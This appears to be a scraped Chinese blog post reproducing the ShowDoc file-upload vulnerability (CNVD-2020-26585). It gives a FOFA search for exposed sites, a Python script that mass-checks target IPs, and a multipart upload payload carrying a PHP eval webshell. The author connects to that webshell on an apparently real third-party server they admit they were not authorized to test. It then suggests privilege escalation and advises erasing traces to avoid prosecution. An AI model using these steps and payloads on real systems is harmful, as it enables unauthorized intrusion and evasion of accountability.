当前位置: 首页 > news >正文

0x03 ShowDoc 文件上传漏洞(CNVD-2020-26585)复现

参考:ShowDoc文件上传漏洞(CNVD-2020-26585)_showdoc漏洞-CSDN博客

一、fofa 搜索使用该工具的网站

网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统

"ShowDoc"

 

二、验证目标url是否存在漏洞

手动验证

在url后面拼接

?s=/home/page/uploadImg

如果能成功访问就说明有可能存在漏洞,是否存在漏洞还需要后续进行上传测试

编写python脚本进行批量验证

首先你可以编写个搜索fofa的脚本,用来收集目标ip

搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客

然后就可以编写ip验证脚本

import requests# 读取本地的 ip.txt 文件
def read_urls(file_path):with open(file_path, 'r') as file:urls = file.readlines()return [url.strip() for url in urls]# 测试 URL 是否存在漏洞
def test_vulnerabilities(urls, timeout=3):endpoint = '/?s=/home/page/uploadImg'keyword = '没有上传的文件'for url in urls:full_url = url + endpointtry:response = requests.get(full_url, timeout=timeout)if response.status_code == 200 and keyword in response.text:print(f"Potential vulnerability found at: {full_url}")else:pass# print(f"No vulnerability detected at: {full_url} (Status Code: {response.status_code})")except requests.RequestException as e:pass# print(f"Error accessing {full_url}: {e}")# 主函数
def main():file_path = 'ip.txt'urls = read_urls(file_path)test_vulnerabilities(urls)if __name__ == "__main__":main()

三、尝试上传webshell

随便选择一个可能存在漏洞的url进行复现

使用bp抓包

发送到重发器

将请求改成post请求

然后在请求体后面加上payload 

payload 

Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 257----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain<?php eval(@$_POST['mima']);?>
----------------------------921378126371623762173617--

以下是对每部分的详细解释:

  1. Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617:

    • Content-Type: multipart/form-data 指定了请求的主体是 multipart/form-data 格式,这种格式通常用于上传文件或包含多个部分的数据。
    • boundary=--------------------------921378126371623762173617 是分隔符,它用于分隔请求中的各个部分。边界值用于在请求体中分隔不同的数据部分。
  2. Content-Length: 257:

    • 指示请求体的长度为 257 字节。这是请求体的总字节数,包括所有分隔符和数据。
  3. ----------------------------921378126371623762173617:

    • 这是第一个分隔符,表示请求体的开始。这是用来分隔请求中的第一个部分的边界。
  4. Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php":

    • Content-Disposition: form-data 表示这是表单数据的一部分。
    • name="editormd-image-file" 指定了表单字段的名称,这里是 editormd-image-file
    • filename="test.<>php" 指定了上传文件的名称,这里是 test.<>php
  5. Content-Type: text/plain:

    • 指定了上传文件的 MIME 类型,这里是 text/plain,表示文件的内容是纯文本。
  6. <?php eval(@$_POST['mima']);?>:

    • 这是文件 test.<>php 中的内容。它是一个 PHP 代码片段,用于执行传入的 PHP 代码。eval(@$_POST['mima']); 会执行 POST 请求中 mima 字段的内容,这可能会导致代码执行漏洞,允许攻击者在服务器上执行任意代码。
  7. ----------------------------921378126371623762173617--:

    • 这是请求体的结束分隔符,标志着请求体的结束。

 

四、使用工具(蚁剑、菜刀、冰蝎、哥斯拉)尝试连接webshell

这里用蚁剑演示,复制链接至蚁剑,将所有的“\”去除

去除 / 反斜杠后链接就会变成这样 

http://14.***.***.152:8082/Public/Uploads/2024-08-22/66c744243f700.php

 连接密码:mima

可以连接后就可以进入虚拟终端执行一些命令,比如查看当前权限

可以继续上传msf或cs的马进行操作提权,但是我没有目标的授权就不继续下去了,如果你需要学习这方面的知识,可以订阅我的专栏:49-4 内网渗透 - 不安全的服务权限提权_windows提权--不安全的服务权限的原理-CSDN博客

最后记住,清除我们的渗透痕迹,防止别人进行溯源,起诉我们。

免责声明

欢迎访问我的博客。以下内容仅供教育和信息用途:

  1. 合法性:我不支持或鼓励非法活动。请确保遵守法律法规。

  2. 信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。

  3. 风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。

  4. 责任限制:我对使用博客内容产生的任何损害不承担责任。

  5. 第三方链接:博客中的链接仅为方便用户,内容不由我负责。

使用本博客即表示您同意以上条款。如果有疑问,请联系我。

http://www.lryc.cn/news/430294.html

相关文章:

  • 【大模型从入门到精通34】开源库框架LangChain 利用LangChain构建聊天机器人1
  • 魔法糖果工厂
  • NVM安装管理node.js版本(简单易懂)
  • 第1章-04-Chrome及Chrome Driver安装及测试
  • 【Linux】SSH 隧道转发场景搭建
  • 前后端部署-服务器linux中安装数据库Mysql8
  • 如何使用jd-gui对springboot源码进行分析
  • 原来ChatGPT是这么评价《黑神话:悟空》的啊?
  • C语言第17篇
  • Springboot+vue实现webScoket
  • CSS知识点详解:display+float
  • ant design pro v6 如何做好角色管理
  • C++ 设计模式(3. 抽象工厂模式)
  • 【PHP入门教程】PHPStudy环境搭建+HelloWorld运行
  • 补 0 输出。
  • 因为嫌吵,在自己家也用上了远程控制电脑
  • vue---echarts环形图
  • 克服编程挫折:从Bug的迷宫中寻找出口与面对算法保持冷静的策略
  • Flink之SQL client使用案例
  • 实际开发中的模块化开发 - 应用到直播间
  • EmguCV学习笔记 VB.Net 第5章 图像变换
  • 【初阶数据结构】顺序表与链表的比较(附题)
  • git-20240822
  • 【时时三省】c语言例题----华为机试题< 数字颠倒>
  • 【前缀和算法】--- 一维和二维前缀和模板
  • 有些信息注定会丢失
  • c#中Task.Run 和使用 Task 构造函数创建任务的区别
  • 使用nginx做代理转发
  • Java前端与后端交互:JSON与XML数据交换 - 掌握现代Web开发的核心技能
  • 网络攻击原理及过程